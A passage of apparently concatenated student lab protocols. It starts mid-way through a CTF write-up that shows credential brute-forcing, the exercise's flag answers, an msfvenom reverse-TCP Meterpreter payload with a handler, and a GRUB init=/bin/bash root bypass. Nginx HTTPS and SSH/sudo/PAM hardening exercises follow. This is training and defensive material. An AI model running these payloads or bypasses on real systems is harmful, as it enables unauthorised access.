Luckily, as seen in Figure 16, it appears that the webserver has been started as the current user, which we can further inspect with ps aux | grep python. As shown in Figure 18, the process has been started by the root user as GrumpyCat.

If we read the file /bin/ctf_server.py, we first see that the ranges of the randomized port ranges are 4000-5600, 10000-12000, and 50000-60000. The intended translation is “Hinweis1: Der Nutzername lautet user”, and lastly, a flag hides itself at the bottom of the file, which is shown in Figure 19.

Investigating secret_flag.txt

If we simply cat this file as the current user, we can’t do that since we lack permission and are not in the sudoers group or file. Therefore, we have two options: either find a different user who has the privileges to read the file or escalate our current privileges to become root. The first option is the more reasonable one, which we will use.

To see all the users we can log into, we can search through the file using the following grep command: grep -v "nologin" /etc/passwd. With this command, we display all the lines of the /etc/passwd file that don’t contain nologin to only display the users we can log in as.

As seen in Figure 20, we got two new options as users to log in: ubuntu and CheerfulOtter. Since we had already tried brute-forcing the root password from the very start, just in case, and the user users have not set an interactive login shell, we chose CheerfulOtter because the name sounds more similar to GrumpyCat. We also brute-forced the ubuntu user in the background. This was a correct assumption, as the password for the CheerfulOtter user was also “password”, and we didn’t find the password for the ubuntu user, which also had its sudo permissions removed in the remove_ubuntu_from_sudo() function in the setup script.

As seen in Figure 21, we got the credentials for the CheerfulOtter user. If we log in as that user and run sudo -l to see what permissions we have with sudo, we can see that the only command we can run elevated is /bin/cat /opt/secret_flag.txt, which we need in order to find the flag, as shown in Figure 22.

Exploring the new user

Since we are in a new user, it’s time to rerun old commands and see if any new files can be found. Instead of using ls and grep to search, we will use the following find command: find / -type f -name '*flag*' 2>/dev/null.find⁹ Here is a breakdown of the command used in Figure 23:

find / #Selecting the / directory to search in
-type f #Restricts the command to only search files
-name '*flag*' #Specifies that the command should only search files that contain "flag"
2>/dev/null #Hiding errors

Finding the history flag

Additionally to the find command, I remembered reading in a CTF cheat sheet a while ago to check the command history of the user. However, I initially only checked .bash_history instead of the .history file, which contains a flag in this CTF.enumeration-walkthough¹⁰ I always missed it until I ran ls -l as a sanity check in the home directory of CheerfulOtter and found the flag, as shown in Figures 25 and 26.

It should be over now, right?

Now that we found the following six flags:

1. FLAG{use_secure_credentials}
2. FLAG{always_check_comments_in_scripts}
3. FLAG{sudo_privileges_are_key}
4. FLAG{inspect_running_processes}
5. FLAG{tmp_directory_is_not_safe}
6. FLAG{always_check_history}

This means that the exercise is over, right?

No, it’s not over yet. In an email, Professor Zivkovic stated that for flag 6, root access is needed. This means that either he made a mistake in counting, forgot about one, or there is a 7th flag that requires root privileges. Spoiler alert: it was the latter. So, the next section will be about escalating the privileges to get to that point.

Privilege escalation on Linux

If you want to escalate your privileges on Linux, you have five options, which are the following:priv-esc-overview¹¹

1. Find an exploit for the version of the kernel that is running.kernel-exploit¹²
2. Find a SUID binary that runs with the owner’s permissions.suid¹³
3. Escalate to a shell in a usable command with sudo.sudo-exploit¹⁴
4. Find writable files that run at startup, like crontab, or other misconfigurations in the system.enumeration-walkthough¹⁰
5. Find an attachable process that is running as root.

Using a smart enumeration tool

To quickly and effortlessly gather information about possible attack vectors for privilege escalation, there are tools such as linux-smart-enumeration to do the job for you.lse¹⁵ After running the script on both users, we found that there were no attack vectors we could exploit. We discovered an empty backup file in the following location: /snap/docker/2963/usr/share/man/man8/zstreamdump.8.gz, and a screen session by the root user which we could not attach to. Additionally, the binaries /snap/snapd/23545/usr/lib/snapd/snap-confine and /snap/snapd/23258/usr/lib/snapd/snap-confine run as root, but the only available exploit for them has been patched for years. Furthermore, the only command we could run with elevated privileges is cat /opt/secret_flag.txt, which does not allow us to escalate to the command line interface (CLI). Lastly, not a single cron file was writable, nor were we able to view configuration files such as /etc/sudoers, which means there is no way to get root privileges on the system.

Trying a kernel level exploit

We also tried a kernel exploit from exploit-db out of desperation, which failed at compiling.exploitdb¹⁶

Trying to get privileges using Metasploit and Meterpreter

Lastly, we tried to use Meterpreter and its prebuilt privilege escalation modules.linux-reverse-tcp¹⁷metasploit-local-exploiter-suggestor¹⁸

To do this, we had to generate a payload first. The payload was generated with the following command:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f elf -o payload.binmsfvenomdocs¹⁹

-p linux/x86/meterpreter/reverse_tcp #setting the payload to be reverse TCP for Linux x86
LHOST=[IP] # sets IP address of the attacking machine
LPORT=4444 #sets the local port to listen for a connection
-f elf #specifies the output format
-o payload.bin #specifies the output filename

After this, the payload is uploaded to the target using scp, as demonstrated in Figure 28.

The next step is to open the Metasploit console by running msfconsole. Set the exploit to exploit/multi/handler, the payload to linux/x86/meterpreter/reverse_tcp, the LHOST to 192.168.15.4, and finally, run the command run to start the reverse TCP handler. After that, we execute the binary on the target, and we have a Meterpreter shell, as shown in Figures 29 and 30.

Now that we have access to Meterpreter, we can use commands such as getuid to get the ID of the user and many other useful commands such as upload and download. However, as demonstrated in Figure 31, loading the priv module didn’t work, so we were not able to test if getsystem would work to escalate the privileges.

Getting root access through editing the GRUB boot options

Since we weren’t able to gain access, we resorted to the good old and reliable GRUB root password reset.root-grub²⁰

To use this method, the system needs to be running the GRUB boot loader, which is the default for Ubuntu.

It is performed by pressing e when seeing the screen shown in Figure 32, which brings up the menu to edit the boot commands.

Then navigate to the line starting with linux and append rw init=/bin/bash, as shown in Figure 33, to change a kernel parameter. After pressing F10, you will immediately boot into the system with a root shell, as shown in Figure 34.

Lastly, as displayed in Figure 34, we run the command exec /sbin/init to reboot the system and load into the operating system as usual. Figure 35 verifies this by showing the root login after rebooting.

Obtaining the final flag

Now that we are the root user, we can see a file called root_flag.txt, which contains the final flag. Additionally, we can view the file ctf_setup.sh to see how the CTF is made and verify that we actually got all of the flags this time. These files are also available in the ZIP file beside this document. Figure 36 shows the files in /root and the final flag.

References

For a full bibliography, see the original BibTeX file.

Note: this was converted from LaTeX to Markdown using ChatGPT 4.1. The original PDF can be found here along with the bibliography.

Exercise 6: GNU/Linux - Securing active components

Laboratory protocol
Exercise 6: GNU/Linux - Securing active components

Table of Contents

• Task definition
  • Task 0 - Preparation
  • Task 1 – Installing a Web Server
  • Task 2 – Securing with Basic Authentication
  • Task 3 – Encrypting with HTTPS
  • Bonus Task – Local DNS Setup (Optional)
• Summary
• Complete network topology of the exercise
• Exercise Execution
  • Preparation
    • Testing the SSH connectivity
    • Changes to the Docker setup
  • Installing an active component
    • Setting up PHP-FPM with Nginx
  • Securing Nginx with Basic Authentication
    • Creating a Password File
    • Configuring the authentication in Nginx and testing it
  • Configuring HTTPS with Self-Signed Certificates
  • Adding a Domain
• References

Task definition

Task 0 - Preparation
Ensure your server from Exercises 4 and 5 is configured with SSH. Verify that you can connect to the server via SSH using a client with a GUI.

Task 1 – Installing a Web Server
Install a web server (e.g., Apache or Nginx) and deploy a static HTML page displaying your group number, team members, and an AI-generated image. (Bonus: Deploy a dynamic PHP page.) Demonstrate access to the page from a client browser.

Task 2 – Securing with Basic Authentication
Set up Basic Authentication on the server. Create user accounts in the format nnv-webuser and for your instructors (e.g., zivk-webuser). Demonstrate authentication functionality. (Bonus: Capture the password using Wireshark.)

Task 3 – Encrypting with HTTPS
Enable HTTPS with a self-signed certificate, including your group number. Demonstrate encrypted access and explain potential issues. Install the certificate on a client to show why this action is not required in the public internet.

Bonus Task – Local DNS Setup (Optional)
Set up DNS on the server using bind9 for local access via xxx.itsi3.local. Demonstrate DNS resolution and access the website by domain name.ChatGPT¹

Summary

As preparation for the exercise, I optimized the Docker workflow by using Docker Compose for easier management, improved the readability of the Dockerfile, and, most importantly, created a .env file along with a build script that utilizes it, so I no longer hardcode my passwords in the Dockerfile. Additionally, I disabled password authentication and now copy the authorized_keys file into the container, allowing for key-based authentication from the start and enabling me to disable password authentication.

We need to install a web server, for which I chose nginx. I used it in conjunction with php-fpm to deploy a dynamic PHP webpage. The webpage includes our group number, names, and an AI-generated image. However, since this information should only be accessible with credentials, I implemented Basic Authentication to secure it. For this, the apache2-utils package was used to generate a .htpasswd file containing the credentials.

We demonstrated with Wireshark that the credentials were transmitted in plain text while using HTTP. To address this, a self-signed SSL certificate was generated using openssl, with the group number included in the OU field of the certificate. The server was then configured to use HTTPS. We showed that the credentials could no longer be read with Wireshark, as the traffic was now encrypted.

Lastly, we set up a domain, created a DNS record to point to the server, and generated a proper SSL certificate with Let’s Encrypt, ensuring it is trusted and does not display a warning in the browser.

Complete network topology of the exercise

Exercise Execution

Preparation

The requirements for this exercise are a headless Linux server with hardened SSH, which only allows connections via key pairs. However, I removed the OTP authentication added in the last exercise, as it was overkill for this use case and became a burden to use.

Testing the SSH connectivity

Changes to the Docker setup

To improve the quality of life when working on this project, I switched from aliasing a long and hard-to-read run command to using Docker Compose, which allows you to define and run multi-container applications. Since it’s in a YAML file, it is more readable and easier to work with, even in this use case where I only have one container.Docker-Compose²

services:
    webserver:
        container_name: itsi
        image: itsi:latest
        restart: no
    ports:
        - "38452:38452"
        - "80:80"
        - "443:443"

Furthermore, instead of having all of the credentials in the Dockerfile, I created a .env file in which the passwords are set. To utilize that, I made a build script that passes the variables from the file to the Dockerfile.docker-arg³

#!/bin/bash
export $(cat .env | xargs)

docker buildx build -t itsi:latest\
	--build-arg ROOT_PW=$ROOT_PW \
	--build-arg RAM_WEBUSER_PW=$RAM_WEBUSER_PW \
	--build-arg ZIVK_WEBUSER_PW=$ZIVK_WEBUSER_PW \
	--build-arg RAM_FUS_PW=$RAM_FUS_PW \
	--build-arg RAM_RAM_PW=$RAM_RAM_PW \
	--build-arg RAM_ALOIS_PW=$RAM_ALOIS_PW \
	--build-arg RAM_CHRIS_PW=$RAM_CHRIS_PW \
	--build-arg RAM_BERTA_PW=$RAM_BERTA_PW .

These build-time arguments are referenced in the Dockerfile like this:

ARG ROOT_PW
ARG RAM_WEBUSER_PW
ARG ZIVK_WEBUSER_PW
ARG RAM_FUS_PW
ARG RAM_RAM_PW
ARG RAM_ALOIS_PW
ARG RAM_CHRIS_PW
ARG RAM_BERTA_PW
...
RUN echo 'root:$ROOT_PW' | chpasswd
...

Here is what the .env file looks like for this project:

ROOT_PW='some password'
...

Note that the quotes are only necessary if the password contains characters like &, which the shell will interpret.

With this change, I can add the .env file to my .gitignore file so I don’t accidentally commit my passwords again and handle passwords in a Dockerfile properly.

To still utilize my alias script, I changed every instance of docker run to docker compose up -d, docker stop itsi && docker rm itsi to docker compose down, and added the use of the build script to it.

#!/bin/bash
alias relaunch="sh -c 'docker stop itsi && docker rm itsi &&\
		       ./build.sh &&\
		       docker compose up -d && docker exec -it itsi /bin/bash'"
alias rebuild="sh -c './build.sh &&\
                      docker compose up -d && docker exec -it itsi /bin/bash'"
alias stop="sh -c 'docker compose down'"

Furthermore, instead of having to upload my container every time I rebuild, I added these three lines to copy the authorized_keys file with the devices I use to the container, so that every time I relaunch, I can just immediately SSH into it.

COPY ./mapped-files/authorized_keys /root/.ssh/authorized_keys
COPY ./mapped-files/authorized_keys /home/ram-fus/.ssh/authorized_keys
COPY ./mapped-files/authorized_keys /home/ram-ram/.ssh/authorized_keys

Lastly, the line in the Dockerfile that specifies the exposed ports is edited to expose ports 80 and 443, as they will be required for this exercise.

EXPOSE 38452 80 443

Installing an active component

Now, it’s required to install a web server. I chose Nginx because I am most familiar with it, and due to its high performance and simplicity of use.

RUN apt install -y nginx
...
CMD service ssh start && service nginx start && tail -F /dev/null

After modifying the Dockerfile, rebuilding, and redeploying, if we now open the web browser and go to the server’s IP, we see the following.

The HTML site displayed is located at /var/www/html/index.nginx-debian.html.
Additionally, I replaced the /var/www/html directory with /var/www/metyr.xyz, in which I have the following file structure:

`-- html
   |-- private
   |   `-- private.php
    `-- public
        `-- index.php

These two directories are mapped onto the Docker container in the docker-compose.yml file, as shown below. Since they are mapped, every time the files are changed on the host, the changes carry over to the container, allowing for an easy and fast development workflow without the need to exec into the container or copy the files when creating the image.

volumes:
    - ./mapped-files/public:/var/www/html/public:rw
    - ./mapped-files/private:/var/www/html/private:rw

Additionally, I edited the Dockerfile to delete the default Nginx configuration file, located at /etc/nginx/sites-enabled/default, a symlink to the file /etc/nginx/sites-available/default.conf, and replaced it with one matching my domain name for better readability.

RUN rm -rf /var/www/html/
RUN mkdir -p /var/www/metyr.xyz/html
RUN rm /etc/nginx/sites-available/default
RUN rm /etc/nginx/sites-enabled/default
COPY ./mapped-files/metyr.xyz /etc/nginx/sites-available/metyr.xyz
RUN ln -s /etc/nginx/sites-available/metyr.xyz /etc/nginx/sites-enabled/metyr.xyz

Setting up PHP-FPM with Nginx

To give Nginx the ability to serve PHP files, the php-fpm (FastCGI Process Manager) package is required.

server{
	...
	index public/index.php;
	location ~ \.php$ {
		include snippets/fastcgi-php.conf;
		fastcgi_pass unix:/run/php/php8.3-fpm.sock;
	}
	...
}

Additionally, the php-fpm service has to be started, so the default command of the container is edited.

CMD service ssh start && service nginx start && service php8.3-fpm start && tail -F /dev/null

If we now rebuild the container, deploy it, and go to the IP address of the server in the browser, we can see the PHP page displayed.

Securing Nginx with Basic Authentication

To restrict access to the website or certain parts of it by implementing username/password authentication, a file containing usernames and passwords is required. This file can be generated using tools such as apache2-utils, which I will use for this exercise.nginx-basic-auth³

Creating a Password File

With apache2-utils installed, we can now generate a password file by using the htpasswd command with the -c flag to create a new file. The file path is specified as the first argument, and the username is specified as the second argument. However, to avoid having to manually type in the password, the -i flag is used to take the password from stdin, which we pass using echo, while using the -n flag to remove the trailing newline.htpasswd⁴echo-mangapge⁵

RUN echo -n "$RAM_WEBUSER_PW" | htpasswd -i -c /etc/apache2/.htpasswd ram-webuser
RUN echo -n "$ZIVK_WEBUSER_PW" | htpasswd -i /etc/apache2/.htpasswd zivk-webuser

Configuring the authentication in Nginx and testing it

To require authentication for a specific area on the website, we need to create a location block that matches everything in the /private directory. To do this, Nginx URL matching is used.Nginx-url-matching⁶

location ^~ /private {
	include snippets/fastcgi-php.conf;
	fastcgi_pass unix:/run/php/php8.3-fpm.sock;
	auth_basic "Private Area";
	auth_basic_user_file /etc/apache2/.htpasswd;
}

To visualize testing the login, I added this to the private PHP page to show the currently logged-in user:
<h3>Hello <?php echo $_SERVER['PHP_AUTH_USER']; ?></h3>.php-show-basic-auth⁷

This is still only an HTTP site, though, which means that everything is transmitted in plain text. As a result, with a packet analyzer like Wireshark, the clear-text login credentials can be viewed. To fix this, HTTPS needs to be enabled, which will be covered in the next section.

Configuring HTTPS with Self-Signed Certificates

To stop an attacker from being able to read the credentials, HTTPS needs to be enabled on the server to encrypt the HTTP traffic with TLS (Transport Layer Security). Before this can be set up, an SSL certificate must first be created.self-signed-ssl⁸non-interactive-ssl-gen⁹

RUN openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
    -keyout /etc/ssl/private/nginx-selfsigned.key \
    -out /etc/ssl/certs/nginx-selfsigned.crt \
    -subj "/C=AT/ST=Vienna/L=Vienna/O=RAM/OU=7/CN=metyr.xyz/emailAddress=wedm1ebmf@mozmail.com"

Now, in the Nginx configuration file, we need to make the server listen on port 443 and add the SSL certificate and key.

server{
	...
	listen 443;
	listen [::]:443;
	ssl_certificate /etc/ssl/certs/nginx-selfsigned.crt;
	ssl_certificate_key /etc/ssl/private/nginx-selfsigned.key;
	...
}

After setting up HTTPS, it’s recommended to set up a 301 HTTP redirect to direct HTTP traffic to the HTTPS site. This is done by adding a second server block at the end of the nginx config file.

server {
	listen 80;
	listen [::]:80;
	server_name _;
	return 301 https://$server_name$request_uri;	
}

If we reload the Nginx configuration, our browser is going to give us a security warning since it recognizes that the certificate was not signed by a trusted organization but by ourselves.

If we open up Wireshark and inspect our traffic, we can see that we can’t view any HTTP traffic. Instead, we only see TLS packets, which contain the encrypted HTTP data, and therefore the credentials can’t be viewed anymore.

Adding a Domain

Since I am doing this on a public VPS, I can’t use a local DNS and need to use a real domain instead. I bought metyr.xyz from Namecheap.

To make Nginx use the domain name, you have to set the server_name in the configuration from server_name _; to server_name metyr.xyz www.metyr.xyz;.

Now we need to create a DNS record for our domain.

This record needs to be of the A type, which returns a 32-bit IPv4 address and is commonly used to map hostnames to an IP address.dns-record-types¹⁰ The @ in the Host field is used to denote the current origin, which represents the current domain. In this case, it would be metyr.xyz.rfc¹¹

Lastly, I want to switch from using a self-signed certificate to using an officially signed one by Let’s Encrypt. For this, the certbot and python3-certbot-nginx packages need to be added to our system.

Now we can run this command to generate an SSL certificate, which will be signed by Let’s Encrypt, so the browser won’t give us a security warning anymore.

certbot --nginx -d metyr.xyz --non-interactive --agree-tos -m wedm1ebmf@mozmail.com

certbot-options¹²

After running this command for the first time and replying if you haven’t saved the certificate, you can use the --force-renewal flag to forcefully renew the certificate in case you lost it or don’t want to set up importing it on a rebuild.cerbot-force-newnew¹³

If we visit the website now, we can see that we won’t be prompted with a security warning. If we inspect the certificate, it will show that it was issued by Let’s Encrypt and is trusted.

References

For a full bibliography, see the original BibTeX file.

Note: this was converted from PDF to Markdown using pdftotext and manual formatting. The original PDF can be found here along with the bibliography.

GNU/Linux - Securing access

Laboratory Protocol
GNU/Linux - Securing access

Table of Contents

• Task Definition
• Summary
• Exercise Execution
  • Privileged rights
    • Explanation of the sudo command
    • Granting and restricting users’ sudo access
  • Password policies
    • Setting up a password policy
    • sed Basics
  • Harden SSH
    • Changing the ssh port
    • Adding OTP authentication
    • Logging in as the users
• References
• List of Figures
• Attachments

Task Definition

This exercise focuses on enhancing security and user management in GNU/Linux. Participants configure SSH authentication using public keys, manage user privileges with sudo (e.g., granting specific permissions to edit files or create users), and set up password policies requiring strong, unique passwords. Additional tasks include changing the SSH port to secure the system, identifying open ports, and implementing two-factor authentication with Google Authenticator. Each step is documented and tested to ensure proper configuration and security.

Summary

To complete this task, the docker image from the last exercise was extended to include sudo and managing its permissions, setting up a password policy and hardening SSH by changing the port and forcing private key and OTP authentication.

Exercise Execution

Privileged rights

Explanation of the sudo command

The sudo command or SuperUser DO temporarily elevates privileges and runs the set command as root, which can be seen by running the sudo id command ¹.

As seen in the figure, when the id command is used with sudo, the id displayed is 0, which is the user id of the root user, and without sudo it displays the normal user id of the user who executed the command.

Granting and restricting users’ sudo access

To grant someone permission to run any command with sudo, the usermod -aG sudo username command is used, which appends the given to the sudo group, giving them permission to run any command with sudo.

In order to restrict the commands that can be elevated by a user or to configure other settings related to this, it is necessary to edit the configuration file, which is located at /etc/sudoers.

There are several ways to edit it. The visudo command uses the editor set in the $EDITOR environment variable and opens the sudoers file with it, and when you exit the editor and save it, it also checks for errors before applying the changes. The sudoers file can also be directly edited using echo in the dockerfile.

# only allowing ram-alois to edit the ssh configuration file
RUN echo "ram-alois ALL=(root) /bin/nano /etc/ssh/sshd_config" >> /etc/sudoers
# only allowing ram-berta to add users
RUN echo "ram-berta ALL=(root) /sbin/useradd" >> /etc/sudoers
# only allowing to ram-ram to view and read add files
RUN echo "ram-ram ALL=(root) /bin/ls" >> /etc/sudoers
RUN echo "ram-ram ALL=(root) /bin/cat" >> /etc/sudoers

I chose nano over vim for editing the ssh config file, as running vim as sudo effectively gives the user full sudo access, as it is possible to open a terminal in it and escape the normal editor mode in numerous ways, so its just easier to give the user nano.

The following screenshots show the following privileges in action, but ram-chris and ram-fus are excluded as ram-chris has no sudo privileges and ram-fus can run any command elevated.

Password policies

Setting up a password policy

To set password policies on Debian-based distributions, edit /etc/pam.d/common-password. Pam stands for Pluggable Authentication Modules and is installed by default on every Debian-based distribution ^{2 3}.

To set a required complexity for passwords, the libpam-pwquality package needs to be installed. Then in the /etc/pam.d/common-password file, on the line with pam_pwquality.so dcredit=-1, ocredit=-1 and enforce_for_root need to be added at the end to require at least one lowercase letter and one symbol in any password set and to enforce it for the root user.

Preventing password reuse is achieved by adding a line with the pam_pwhistory.so module and appending remember=5 and use_authtok at the end of the line to remember the last 5 passwords so that they cannot be reused and to enforce the previously stacked password modules ³. Finally, set the minimum length of the line with pam_unix.so. minlen=10 to require the password to be at least 10 characters long.

To edit this file declaratively in the Dockerfile I used the sed editor and the sed commands used are explained in the next section.

# setting the required password complexity and minimum length
RUN sed -i '/retry=3/ s/$/ ucredit=-1 dcredit=-1 ocredit=-1 minlen=10 enforce_for_root '\
            /etc/pam.d/common-password
# remembering the last 5 passwords so they cant be reused
RUN sed -i '/ocredit=-1/ a password\trequisite\t\t\tpam_pwhistory.so remember=5 use_authtok '\
            /etc/pam.d/common-password

sed Basics

The sed (stream editor) is a utility for manipulating text in files. It can perform actions such as search, replace, insert, delete and more without the need to open an editor, making it useful in scripts.

The syntax of using the command is the following:

sed [OPTIONS] 'SCRIPT' [INPUTFILE]

The only relevant option for this command I used was the -i flag, which edits the file in place without printing anything to the console ^{4 5}.

To actually make sed do something it is necessary to specify a command, there are many commands, but for this exercise only the commands s and a are needed, which stand for substitute and append respectively.

Let’s break down the commands used:

sed -i '/retry=3/ s/$/ ucredit=-1 dcredit=-1 ocredit=-1 enforce_for_root '\
            /etc/pam.d/common-password

The actual command itself is specified inside of the two ". /retry=3/ is a search pattern, so the command operates only on lines that contain ‘retry=3’. s is the substitution command and $ represents the end of the line so essentially s/$/ tells sed to insert whatever characters are entered after the / at the end of a line, which contains ‘retry=3’. Lastly, the path to the file being edited is specified. The next used command is the following:

sed -i '/ocredit=-1/ a password\trequisite\t\t\tpam_pwhistory.so remember=5 use_authtok '\
            /etc/pam.d/common-password

This command searches for the line containing ‘ocredit=-1’ and uses the a command to append a new line after the line containing ‘ocredit=-1’. \t is the escape sequence for a horizontal tab character, so it does not need to insert the correct number of whitespace characters, making it a shorter command.

Harden SSH

Changing the ssh port

The configuration file for SSH is in /etc/ssh/sshd_config, where the port is changed by uncommenting the line containing Port 22 and changing the number to the desired port. Afterwards, the service ssh restart command must be issued to take effect ⁶.

RUN sed -i 's/#Port 22/Port 38452/' /etc/ssh/sshd_config

The netstat -tulnp command shows the processes and ports that are listening for both TCP and UDP.

When I run this command on the host, it only shows the docker process instead of ssh directly, because ssh is running inside the container. There are also other containers and processes listening as I use this VPS to host SearXng as well.

Running the same command on the container now shows that the sshd process is listening on the desired port. The d at the end of ssh stands for daemon and means that this is a service that the d indicates ⁷.

Adding OTP authentication

To add OTP authentication the libpam-google-authenticator package is required.

Once the package is installed, all you need to do is run the google-authenticator command, scan the QR code with the 2FA app of your choice and reply to each prompt with y ⁸.

To enable ssh to use OTP authentication these two lines need to be added at the top of the /etc/pam.d/sshd file.

auth required pam_google_authenticator.so nullok
auth required pam_permit.so

After that the ssh configuration file needs to be edited as well.

# change this
KbdInteractiveAuthentication no
# to this
KbdInteractiveAuthentication yes
# add this line at the bottom
AuthenticationMethods publickey,keyboard-interactive

Login is now only possible with keypair, password and OTP.

Logging in as the users

Here are screenshots of logging in as a user and trying to log in as a user who has neither a key pair nor an OTP set up.

References

For a full bibliography, see the original BibTeX file.

List of Figures

1. Grouplogo
2. sudo id
3. sudo permissions of ram-ram
4. sudo permissions of ram-alois
5. sudo permissions of ram-berta
6. Testing the password policies
7. netstat -tulnp on the host
8. netstat -tulnp on the container
9. setting up OTP
10. logging in as ram-fus
11. logging in as ram-ram
12. trying to login as ram-alois

Attachments

Dockerfile

FROM ubuntu:latest

RUN apt update
RUN apt upgrade -y
RUN apt install iproute2 iputils-ping zsh net-tools vim sudo nano libpam-pwquality \
    libpam-google-authenticator -y

RUN echo "ram-alois ALL=(root) /bin/nano /etc/ssh/sshd_config" >> /etc/sudoers
RUN echo "ram-berta ALL=(root) /sbin/useradd" >> /etc/sudoers
RUN echo "ram-ram ALL=(root) /bin/ls" >> /etc/sudoers
RUN echo "ram-ram ALL=(root) /bin/cat" >> /etc/sudoers

RUN ln -fs /usr/share/zoneinfo/Europe/Vienna /etc/localtime
RUN DEBIAN_FRONTEND=noninteractive apt install -y tzdata ssh
RUN echo 'root:passwordhere' | chpasswd
RUN sed -i 's/#Port 22/Port 38452/' /etc/ssh/sshd_config
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
RUN sed -i '/retry=3/ s/$/ ucredit=-1 dcredit=-1 ocredit=-1 minlen=10 enforce_for_root '\
            /etc/pam.d/common-password
RUN sed -i '/ocredit=-1/ a password\trequisite\t\t\tpam_pwhistory.so remember=5 use_authtok '\
            /etc/pam.d/common-password

RUN groupadd -g 324 ram-Users
RUN useradd -u 1024 -m ram-alois
RUN useradd -u 1124 -m ram-berta
RUN useradd -u 1224 -m ram-chris
RUN useradd -m ram-fus
RUN useradd -m ram-ram

RUN echo 'ram-fus:passwordhere' | chpasswd
RUN echo 'ram-ram:passwordhere' | chpasswd
RUN echo 'ram-alois:passwordhere' | chpasswd
RUN echo 'ram-chris:passwordhere' | chpasswd
RUN echo 'ram-berta:passwordhere' | chpasswd

RUN usermod -g ram-Users ram-alois
RUN usermod -g ram-Users ram-berta
RUN usermod --shell /bin/bash ram-alois
RUN usermod --shell /bin/bash ram-berta
RUN usermod --shell /bin/zsh ram-chris
RUN usermod -aG sudo ram-fus
RUN usermod -aG sudo ram-ram

RUN mkdir -p /data/fus
RUN mkdir /data/fus/alois
RUN mkdir /data/fus/berta
RUN mkdir /data/fus/chris
RUN mkdir /data/fus/public

RUN chgrp -R ram-Users /data/fus/
RUN chmod g+rw /data/fus/
RUN chown -R ram-alois:ram-Users /data/fus/alois/
RUN chmod -R u+wrx,g=r,o= /data/fus/alois/
RUN chown -R ram-berta:ram-Users /data/fus/berta/
RUN chmod -R u+wrx,g=r,o= /data/fus/berta/
RUN chown -R ram-chris:ram-Users /data/fus/chris/
RUN chmod -R u+wrx,g=,o= /data/fus/chris/
RUN chmod -R u+wrx,g+wrx,o=r /data/fus/public/

EXPOSE 38452
CMD service ssh start && tail -F /dev/null